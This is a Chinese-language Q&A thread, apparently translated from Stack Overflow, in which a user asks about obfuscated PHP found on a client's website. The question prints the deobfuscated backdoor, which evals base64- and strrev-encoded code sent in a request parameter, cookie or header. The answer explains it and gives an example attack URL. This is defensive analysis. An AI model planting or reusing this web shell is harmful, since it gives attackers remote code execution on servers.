这个PHP代码有什么作用?看起来像黑客

时间:2015-04-30 15:51:39

标签: php security

我在客户端网站的根目录上找到了this code。我解密它意味着以下内容:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););

它看起来像是从cookie或用户那里获取代码并对其进行评估,但我无法从那里进一步说明。

任何人都有这方面的见解吗?

1 个答案:

答案 0 :(得分:9)

这里的代码有一些缩进:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m',

$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);

$a=isset($i["geccmscu"]) ? $i["geccmscu"] :
    (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die );

eval(strrev(base64_decode(strrev($a)))););

首先它会检查cookie,请求和服务器值($i变量)中是否存在" geccmscu"键。如果没有,它会检查是否定义了具有相同名称的标头(" HTTP_GECCMSCU")。如果没有,脚本就会停在那里。

如果那" geccmscu"变量在某处定义,它存储在$a中。然后脚本对其进行解码(内容为"加密"使用strrev和base64)并通过eval()

执行

基本上,有人可能会使用HTTP查询攻击您的服务器,如下所示:

GET http://example.com?geccmscu=someevilphpcode

然后" someevilphpcode"将在您的服务器上解码并执行。